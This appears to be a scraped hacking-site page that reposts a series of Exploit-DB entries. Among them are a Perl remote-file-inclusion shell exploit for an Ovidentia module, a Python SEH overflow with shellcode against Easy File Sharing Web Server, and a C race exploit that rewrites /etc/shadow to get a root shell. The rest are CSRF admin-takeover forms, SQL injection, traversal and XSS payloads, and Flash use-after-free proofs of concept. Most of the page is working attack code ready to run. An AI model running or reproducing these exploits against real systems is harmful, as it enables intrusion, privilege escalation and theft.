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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Title: Ovidentia Module newsletter 2.2 (admin.php) Remote File Inclusion Exploit
# Author: bd0rk
# eMail: bd0rk[at]hackermail.com
# Twitter: twitter.com/bd0rk
# Tested on: Ubuntu-Linux
# Download: http://www.ovidentia.org/index.php?tg=fileman&sAction=getFile&id=17&gr=Y&path=Downloads%2FAdd-ons%2FModules%2Fnewsletter&file=newsletter-2-2.zip&idf=882

# Proof-of-Concept:

# /newsletter-2-2/programs/admin.php line 3
# ----------------------------------------------------------

# require_once($GLOBALS['babInstallPath'].'admin/acl.php');

# ----------------------------------------------------------

# Problem: The $GLOBALS['babInstallPath']-parameter isn't declared before require_once.
# Fix: Declare this parameter or use an alert in php-sourcecode.
#     Zum Beispiel "BummPrengeleng du Nasenmensch!" :D

# ----------------
# ~~Exploitcode~~
# ----------------

use LWP::UserAgent;
 
$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];
 
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}
 
head();
 
while()
{
       print "[shell] \$";
while(<STDIN>)
       {
               $cmd=$_;
               chomp($cmd);
 
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'programs/admin.php?GLOBALS[babInstallPath]'.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";
 
$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[....]/;
 
if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}
 
elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
       {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}
 
if($return =~ /(.*)/)
 
 
{
       $finreturn = $1;
       $finreturn=~ tr/[....]/[\n]/;
       print "\r\n$finreturn\n\r";
       last;
}
 
else {print "[shell] \$";}}}last;
 
sub head()
 {
 print "\n============================================================================\r\n";
 print " *Ovidentia Module newsletter 2.2 (admin.php) Remote File Inclusion Exploit*\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: sploit.pl [someone] [cmd shell location] [cmd shell variable]\r\n\n";
 print " <Site> - Full path to phgstats ex: http://www.someone.com/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://www.someone/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           Bug Found by bd0rk \r\n";
 print "============================================================================\r\n";
 exit();
 }
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=650

The following crash due to a heap-based buffer overflow can be observed in an ASAN build of Wireshark (current git master), by feeding a malformed file to tshark ("$ ./tshark -nVxr /path/to/file"):

--- cut ---
==9819==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000027b3c at pc 0x00000087416b bp 0x7fff95547770 sp 0x7fff95547768
WRITE of size 1 at 0x603000027b3c thread T0
    #0 0x87416a in iseries_parse_packet wireshark/wiretap/iseries.c:820:27
    #1 0x870589 in iseries_read wireshark/wiretap/iseries.c:382:10
    #2 0x9d64c2 in wtap_read wireshark/wiretap/wtap.c:1314:7
    #3 0x535c1a in load_cap_file wireshark/tshark.c:3479:12
    #4 0x52c1df in main wireshark/tshark.c:2197:13

0x603000027b3c is located 3 bytes to the right of 25-byte region [0x603000027b20,0x603000027b39)
allocated by thread T0 here:
    #0 0x4d6ff8 in __interceptor_malloc llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:40
    #1 0x7ff6f1a34610 in g_malloc (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4e610)
    #2 0x870589 in iseries_read wireshark/wiretap/iseries.c:382:10
    #3 0x9d64c2 in wtap_read wireshark/wiretap/wtap.c:1314:7
    #4 0x535c1a in load_cap_file wireshark/tshark.c:3479:12
    #5 0x52c1df in main wireshark/tshark.c:2197:13

SUMMARY: AddressSanitizer: heap-buffer-overflow wireshark/wiretap/iseries.c:820:27 in iseries_parse_packet
Shadow bytes around the buggy address:
  0x0c067fffcf10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fffcf20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fffcf30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fffcf40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fffcf50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c067fffcf60: fa fa fa fa 00 00 00[01]fa fa 00 00 00 00 fa fa
  0x0c067fffcf70: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
  0x0c067fffcf80: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
  0x0c067fffcf90: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
  0x0c067fffcfa0: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
  0x0c067fffcfb0: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==9819==ABORTING
--- cut ---

The crash was reported at https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=11798. Attached is a file which triggers the crash.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38992.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=663

The following crash due to a stack-based buffer overflow can be observed in an ASAN build of Wireshark (current git master), by feeding a malformed file to tshark ("$ ./tshark -nVxr /path/to/file"):

--- cut ---
==17016==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffd11f12408 at pc 0x7ff4a833d06d bp 0x7ffd11f11590 sp 0x7ffd11f11588
WRITE of size 8 at 0x7ffd11f12408 thread T0
    #0 0x7ff4a833d06c in dissect_tds7_colmetadata_token wireshark/epan/dissectors/packet-tds.c:2935:29
    #1 0x7ff4a8328d41 in dissect_tds_resp wireshark/epan/dissectors/packet-tds.c:3729:32
    #2 0x7ff4a8326608 in dissect_netlib_buffer wireshark/epan/dissectors/packet-tds.c:3911:17
    #3 0x7ff4a8324de2 in dissect_tds_message wireshark/epan/dissectors/packet-tds.c:4090:13
    #4 0x7ff4a632ceb1 in call_dissector_through_handle wireshark/epan/packet.c:616:8
    #5 0x7ff4a631f7da in call_dissector_work wireshark/epan/packet.c:691:9
    #6 0x7ff4a631efad in dissector_try_uint_new wireshark/epan/packet.c:1148:9
    #7 0x7ff4a82e1f80 in decode_tcp_ports wireshark/epan/dissectors/packet-tcp.c:4610:9
    #8 0x7ff4a82e77f3 in process_tcp_payload wireshark/epan/dissectors/packet-tcp.c:4668:13
    #9 0x7ff4a82e2b4c in dissect_tcp_payload wireshark/epan/dissectors/packet-tcp.c:4743:9
    #10 0x7ff4a82f7f53 in dissect_tcp wireshark/epan/dissectors/packet-tcp.c:5575:13
    #11 0x7ff4a632ceb1 in call_dissector_through_handle wireshark/epan/packet.c:616:8
    #12 0x7ff4a631f7da in call_dissector_work wireshark/epan/packet.c:691:9
    #13 0x7ff4a631efad in dissector_try_uint_new wireshark/epan/packet.c:1148:9
    #14 0x7ff4a743a59b in ip_try_dissect wireshark/epan/dissectors/packet-ip.c:2001:7
    #15 0x7ff4a7444fc9 in dissect_ip_v4 wireshark/epan/dissectors/packet-ip.c:2485:10
    #16 0x7ff4a743ace9 in dissect_ip wireshark/epan/dissectors/packet-ip.c:2508:5
    #17 0x7ff4a632ceb1 in call_dissector_through_handle wireshark/epan/packet.c:616:8
    #18 0x7ff4a631f7da in call_dissector_work wireshark/epan/packet.c:691:9
    #19 0x7ff4a631efad in dissector_try_uint_new wireshark/epan/packet.c:1148:9
    #20 0x7ff4a631fb54 in dissector_try_uint wireshark/epan/packet.c:1174:9
    #21 0x7ff4a7c1d470 in dissect_ppp_common wireshark/epan/dissectors/packet-ppp.c:3977:10
    #22 0x7ff4a7c1cc2c in dissect_ppp_hdlc_common wireshark/epan/dissectors/packet-ppp.c:4954:5
    #23 0x7ff4a7c150a5 in dissect_ppp_hdlc wireshark/epan/dissectors/packet-ppp.c:4995:5
    #24 0x7ff4a632ceb1 in call_dissector_through_handle wireshark/epan/packet.c:616:8
    #25 0x7ff4a631f7da in call_dissector_work wireshark/epan/packet.c:691:9
    #26 0x7ff4a631efad in dissector_try_uint_new wireshark/epan/packet.c:1148:9
    #27 0x7ff4a703c3a6 in dissect_frame wireshark/epan/dissectors/packet-frame.c:500:11
    #28 0x7ff4a632ceb1 in call_dissector_through_handle wireshark/epan/packet.c:616:8
    #29 0x7ff4a631f7da in call_dissector_work wireshark/epan/packet.c:691:9
    #30 0x7ff4a63294ae in call_dissector_only wireshark/epan/packet.c:2662:8
    #31 0x7ff4a631aebf in call_dissector_with_data wireshark/epan/packet.c:2675:8
    #32 0x7ff4a631a52b in dissect_record wireshark/epan/packet.c:501:3
    #33 0x7ff4a62c85b9 in epan_dissect_run_with_taps wireshark/epan/epan.c:373:2
    #34 0x5264eb in process_packet wireshark/tshark.c:3728:5
    #35 0x51f960 in load_cap_file wireshark/tshark.c:3484:11
    #36 0x515daf in main wireshark/tshark.c:2197:13

Address 0x7ffd11f12408 is located in stack of thread T0 at offset 2088 in frame
    #0 0x7ff4a83285df in dissect_tds_resp wireshark/epan/dissectors/packet-tds.c:3658

  This frame has 1 object(s):
    [32, 2088) 'nl_data' <== Memory access at offset 2088 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow wireshark/epan/dissectors/packet-tds.c:2935:29 in dissect_tds7_colmetadata_token
Shadow bytes around the buggy address:
  0x1000223da430: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000223da440: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000223da450: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000223da460: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000223da470: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x1000223da480: 00[f3]f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3
  0x1000223da490: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000223da4a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000223da4b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000223da4c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000223da4d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==17016==ABORTING
--- cut ---

The crash was reported at https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=11846. Attached is a file which triggers the crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38993.zip
HireHackking 
# Exploit Title: Easy File Sharing Web Server 7.2 - HEAD HTTP request SEH Buffer Overflow
# Date: 12/2/2015
# Exploit Author: ArminCyber
# Contact: Armin.Exploit@gmail.com
# Version: 7.2
# Tested on: XP SP3 EN
# category: Remote Exploit
# Usage: ./exploit.py ip port

import socket
import sys

host = str(sys.argv[1])
port = int(sys.argv[2])

a = socket.socket()

print "Connecting to: " + host + ":" + str(port)
a.connect((host,port))

entire=4500

# Junk
buff = "A"*4061

# Next SEH
buff+= "\xeb\x0A\x90\x90"

# pop pop ret
buff+= "\x98\x97\x01\x10"

buff+= "\x90"*19

# calc.exe
# Bad Characters: \x20 \x2f \x5c
shellcode = (
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9"
"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56"
"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9"
"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97"
"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64"
"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8"
"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a"
"\x1c\x39\xbd"
)
buff+= shellcode

buff+= "\x90"*7

buff+= "A"*(4500-4061-4-4-20-len(shellcode)-20)

# HEAD
a.send("HEAD " + buff + " HTTP/1.0\r\n\r\n")

a.close()

print "Done..."
HireHackking 
source: https://www.securityfocus.com/bid/64734/info

UAEPD Shopping Cart Script is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

An attacker can exploit these issues by manipulating the SQL query logic to carry out unauthorized actions on the underlying database. 

http://www.example.com/products.php?cat_id=4
HireHackking 
source: https://www.securityfocus.com/bid/64734/info
 
UAEPD Shopping Cart Script is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.
 
An attacker can exploit these issues by manipulating the SQL query logic to carry out unauthorized actions on the underlying database.
 
http://www.example.com/news.php?id=1
HireHackking 
/* == virtfshell ==
 *
 * Some distributions make virtfs-proxy-helper from QEMU either SUID or
 * give it CAP_CHOWN fs capabilities. This is a terrible idea. While
 * virtfs-proxy-helper makes some sort of flimsy check to make sure
 * its socket path doesn't already exist, it is vulnerable to TOCTOU.
 *
 * This should spawn a root shell eventually on vulnerable systems.
 *
 * - zx2c4
 * 2015-12-12
 *
 *
 * zx2c4@thinkpad ~ $ lsb_release -i
 * Distributor ID: Gentoo
 * zx2c4@thinkpad ~ $ ./virtfshell 
 * == Virtfshell - by zx2c4 ==
 * [+] Trying to win race, attempt 749
 * [+] Chown'd /etc/shadow, elevating to root
 * [+] Cleaning up
 * [+] Spawning root shell
 * thinkpad zx2c4 # whoami
 * root
 *
 */

#include <stdio.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/inotify.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>


static int it_worked(void)
{
	struct stat sbuf = { 0 };
	stat("/etc/shadow", &sbuf);
	return sbuf.st_uid == getuid() && sbuf.st_gid == getgid();
}

int main(int argc, char **argv)
{
	int fd;
	pid_t pid;
	char uid[12], gid[12];
	size_t attempts = 0;

	sprintf(uid, "%d", getuid());
	sprintf(gid, "%d", getgid());

	printf("== Virtfshell - by zx2c4 ==\n");

	printf("[+] Beginning race loop\n");

	while (!it_worked()) {
		printf("\033[1A\033[2K[+] Trying to win race, attempt %zu\n", ++attempts);
		fd = inotify_init();
		unlink("/tmp/virtfshell/sock");
		mkdir("/tmp/virtfshell", 0777);
		inotify_add_watch(fd, "/tmp/virtfshell", IN_CREATE);
		pid = fork();
		if (pid == -1)
			continue;
		if (!pid) {
			close(0);
			close(1);
			close(2);
			execlp("virtfs-proxy-helper", "virtfs-proxy-helper", "-n", "-p", "/tmp", "-u", uid, "-g", gid, "-s", "/tmp/virtfshell/sock", NULL);
			_exit(1);
		}
		read(fd, 0, 0);
		unlink("/tmp/virtfshell/sock");
		symlink("/etc/shadow", "/tmp/virtfshell/sock");
		close(fd);
		kill(pid, SIGKILL);
		wait(NULL);
	}

	printf("[+] Chown'd /etc/shadow, elevating to root\n");

	system(	"cp /etc/shadow /tmp/original_shadow;"
		"sed 's/^root:.*/root::::::::/' /etc/shadow > /tmp/modified_shadow;"
		"cat /tmp/modified_shadow > /etc/shadow;"
		"su -c '"
		"	echo [+] Cleaning up;"
		"	cat /tmp/original_shadow > /etc/shadow;"
		"	chown root:root /etc/shadow;"
		"	rm /tmp/modified_shadow /tmp/original_shadow;"
		"	echo [+] Spawning root shell;"
		"	exec /bin/bash -i"
		"'");
	return 0;
}
HireHackking 
source: https://www.securityfocus.com/bid/64735/info

Built2Go PHP Shopping is prone to a cross-site request-forgery vulnerability.

Exploiting the issue will allow a remote attacker to use a victim's currently active session to change the victim's password. Successful exploits will compromise affected computers. 

<form method=â?POSTâ? name=â?form0? action=â? http://www.example.com/adminpanel/edit_admin.phpâ?>
<input type=â?hiddenâ? name=â?useridâ? value=â?ADMINâ?/>
<input type=â?hiddenâ? name=â?passâ? value=â?12121212?/>
<input type=â?hiddenâ? name=â?retypepassâ? value=â?12121212?/>
<input type=â?hiddenâ? name=â?addnewâ? value=â?1?/>
<input type=â?hiddenâ? name=â?actionâ? value=â?saveâ?/>
<input type=â?hiddenâ? name=â?newâ? value=â?Submitâ?/>
</form>
HireHackking 
source: https://www.securityfocus.com/bid/64740/info

EZGenerator is prone to a local file-disclosure vulnerability and a cross-site request-forgery vulnerability.

An attacker may leverage these issues to perform unauthorized actions in the context of a logged-in user, or obtain sensitive information from local files on computers running the vulnerable application. This may aid in further attacks. 

Local File Disclosure:
=====================
www.example.com/utils.php?action=download&filename=file.php%00

CSRF [Add Admin]:
================

<form method=.POST. name=.form0. action=.
http://www.example.com/centraladmin.php?process=processuser.>
<input type=.hidden. name=.flag. value=.add./>
<input type=.hidden. name=.old_username. value=."/>
<input type=.hidden. name=.username. value=.admin./>
<input type=.hidden. name=.name. value=.mm./>
<input type=.hidden. name=.sirname. value=.hh./>
<input type=.hidden. name=.email. value=.email@live.com./>
<input type=.hidden. name=.password. value=.12121212./>
<input type=.hidden. name=.repeatedpassword. value=.12121212./>
<input type=.hidden. name=.select_all. value=.yes./>
<input type=.hidden. name=.access_to_page47. value=.2./>
<input type=.hidden. name=.save. value=.Save./>
</form>
</body>
</html>
HireHackking 
source: https://www.securityfocus.com/bid/64779/info

Atmail Webmail Server is prone to an HTML-injection vulnerability.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.

Atmail 7.1.3 is vulnerable; others versions may also be affected. 

 <iframe width=0 height=0 src="javascript:alert('xss in main body')">
HireHackking 
Advisory ID: HTB23282
Product: Zen Cart
Vendor: Zen Ventures, LLC
Vulnerable Version(s): 1.5.4
Tested Version: 1.5.4
Advisory Publication:  November 25, 2015  [without technical details]
Vendor Notification: November 25, 2015 
Vendor Patch: November 26, 2015 
Public Disclosure: December 16, 2015 
Vulnerability Type: PHP File Inclusion [CWE-98]
CVE Reference: CVE-2015-8352
Risk Level: Critical 
CVSSv3 Base Score: 9.0 [CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H]
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered critical vulnerability in a popular e-commerce software Zen Cart, which can be exploited by remote non-authenticated attackers to compromise vulnerable system. A remote unauthenticated attacker might be able to execute arbitrary PHP code on the target system, run arbitrary system commands, gain complete access to application's database and obtain information of all website users.

The vulnerability exists due to absence of filtration of directory traversal sequences in "act" HTTP GET parameter in "/ajax.php" script, when including local PHP files using 'require()' PHP function. A remote unauthenticated attacker can include and execute arbitrary PHP code on the target system with privileges of the web server. 

A simple exploit below will include file "/tmp/file.php" and execute its content:

http://[host]/ajax.php?method=1&act=/../../../../tmp/file


-----------------------------------------------------------------------------------------------

Solution:

Apply vendor's patch.

More Information:
https://www.zen-cart.com/showthread.php?218914-Security-Patches-for-v1-5-4-November-2015

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23282 - https://www.htbridge.com/advisory/HTB23282 - RCE in Zen Cart via Arbitrary File Inclusion
[2] Zen Cart - https://www.zen-cart.com/ - Zen Cart® truly is the art of e-commerce; free, user-friendly, open source shopping cart software.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model.

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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
HireHackking 
source: https://www.securityfocus.com/bid/64788/info

The Almond Classifieds Component for Joomla is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. 

http://127.0.0.1/component/com_aclassfb/photos/
HireHackking 
source: https://www.securityfocus.com/bid/64836/info

Oracle Supply Chain Products Suite is prone to a remote vulnerability in Oracle Demantra Demand Management.

The vulnerability can be exploited over the 'HTTP' protocol. The 'DM Others' sub component is affected.

Attackers can exploit this issue to obtain sensitive information.

This vulnerability affects the following supported versions:
12.2.0, 12.2.1, 12.2.2

POST /demantra/common/loginCheck.jsp/../../GraphServlet HTTP/1.1
Host: target.com:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 46

filename=C:/Program Files (x86)/Oracle Demantra Spectrum/Collaborator/demantra/WEB-INF/web.xml
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=560

There is a use-after-free in the TextField antiAliasType setter. If it is set to an object with a toString method that frees the TextField, the property will be written after it is freed.

A PoC is as follows:

var toptf = this.createEmptyMovieClip("toptf", 1);


function func(){
	
	toptf.removeMovieClip();	
	trace("here");
	return "advanced";
}

var o = {toString : func};


var my_format:TextFormat = new TextFormat();
my_format.font = "Times-12";

var my_text1:TextField = toptf.createTextField("my_text1", toptf.getNextHighestDepth(), 9.5, 10, 400, 100);
my_text1.text = "this.gridFitType = none";
my_text1.embedFonts = true;
my_text1.antiAliasType = o;
my_text1.gridFitType = "none";
my_text1.setTextFormat(my_format); 

var my_text2:TextField = toptf.createTextField("my_text2", toptf.getNextHighestDepth(), 9.5, 40, 400, 100);
my_text2.text = "this.gridFitType = advanced";
my_text2.embedFonts = true;
my_text2.antiAliasType = "advanced";
my_text2.gridFitType = "pixel";
my_text2.setTextFormat(my_format); 

var my_text3:TextField = toptf.createTextField("my_text3", toptf.getNextHighestDepth(), 9.5, 70, 400, 100);
my_text3.text = "this.gridFitType = subpixel";
my_text3.embedFonts = true;
my_text3.antiAliasType = "advanced";
my_text3.gridFitType = "subpixel";
my_text3.setTextFormat(my_format);

A sample fla and swf are attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39019.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=557

There are a number of use-after-free vulnerabilities in MovieClip.beginGradientFill. If the spreadMethod or any other string parameter is an object with toString defined, this method can free the MovieClip, which is then used. Note that many parameters to this function can be used to execute script and free the MovieClip during execution, it is recommended that this issues be fixed with a stale pointer check. 

A PoC is as follows:

this.createEmptyMovieClip("bmp_fill_mc", 1);
with (bmp_fill_mc) {
	
	 colors = [0xFF0000, 0x0000FF];
    fillType = "radial"
    alphas = [100, 100];
    ratios = [0, 0xFF];
	var o = {toString: func};
    spreadMethod = o;
    interpolationMethod = "linearRGB";
    focalPointRatio = 0.9;
    matrix = new Matrix();
    matrix.createGradientBox(100, 100, Math.PI, 0, 0);
    beginGradientFill(fillType, colors, alphas, ratios, matrix, 
        spreadMethod, interpolationMethod, focalPointRatio);
    moveTo(100, 100);
    lineTo(100, 300);
    lineTo(300, 300);
    lineTo(300, 100);
    lineTo(100, 100);
    endFill();
}

bmp_fill_mc._xscale = 200;
bmp_fill_mc._yscale = 200;

function func(){
	
	trace("in func");
	var test = thiz.createTextField("test", 1, 1, 1, 10, 10);
	trace(test);
	test.removeTextField();
	return "reflect";
	}

A sample swf and fla is attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39022.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=559

There is a use-after-free in the TextField gridFitType setter. If it is set to an object with a toString method that frees the TextField, the property will be written after it is freed.

A PoC is as follows:

var toptf = this.createEmptyMovieClip("toptf", 1);


function func(){
	
	toptf.removeMovieClip();	
	trace("here");
	return "none";
}

var o = {toString : func};


var my_format:TextFormat = new TextFormat();
my_format.font = "Times-12";

var my_text1:TextField = toptf.createTextField("my_text1", toptf.getNextHighestDepth(), 9.5, 10, 400, 100);
my_text1.text = "this.gridFitType = none";
my_text1.embedFonts = true;
my_text1.antiAliasType = "advanced";
my_text1.gridFitType = o;
my_text1.setTextFormat(my_format); 

var my_text2:TextField = toptf.createTextField("my_text2", toptf.getNextHighestDepth(), 9.5, 40, 400, 100);
my_text2.text = "this.gridFitType = advanced";
my_text2.embedFonts = true;
my_text2.antiAliasType = "advanced";
my_text2.gridFitType = "pixel";
my_text2.setTextFormat(my_format); 

var my_text3:TextField = toptf.createTextField("my_text3", toptf.getNextHighestDepth(), 9.5, 70, 400, 100);
my_text3.text = "this.gridFitType = subpixel";
my_text3.embedFonts = true;
my_text3.antiAliasType = "advanced";
my_text3.gridFitType = "subpixel";
my_text3.setTextFormat(my_format);

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39020.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=558

There are a number of use-after-frees in MovieClip.lineStyle. If any of the String parameters are an object with toString defined, the toString method can delete the MovieClip, which is subsequently used. A PoC is as follows:

this.createEmptyMovieClip("triangle_mc", this.getNextHighestDepth());
var o = {toString: func};
triangle_mc.lineStyle(5, 0xff00ff, 100, true, o, "round", "miter", 1);

function func(){
	
	triangle_mc.removeMovieClip();
	return "none";
	
	}

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39021.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=544

The attached PoC triggers a null pointer vulnerability in OffsetChildren on Windows 7 32-bit. By mapping the null page an attacker can leverage this vulnerability to write to an arbitrary address.
---


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39025.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=587

There is a use-after-free in the TextField thickness setter. If the thickness parameter is an object with valueOf set to a function which frees the TextField parent, it is used after it is freed.

A minimal PoC is as follows:

var times = 0;
var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.thickness = {valueOf : func};

function func(){
   
        if(times == 0){
          times++;
          return 0;
        }

	mc.removeMovieClip();

        // Fix heap here

	return 0;
	
	}

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39045.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=579

There is a use-after-free in the TextField.variable setter. If the variable name that is added is an object with toString defined, the toString function can free the field's parent object, which is then used. A minimal PoC is as follows:

var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.variable = {toString : func};

function func(){

	mc.removeMovieClip();

        // Fix heap here

	return "myvar";
	
	}

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39050.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=584

There is a use-after-free in the TextField.replaceText function. If the function is called with a string parameter with toString defined, or an integer parameter with valueOf defined, the parent object of the TextField can be used after it is freed. Please note that all three parameters of this function are susceptible to this issue.

A minimal PoC is as follows:

var times = 0;
var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.replaceText( 1, 2, {valueOf : func});

function func(){

	mc.removeMovieClip();

        // Fix heap here

	return "text";
	
	}

A sample swf and fla are attached.


Proof of Concept:
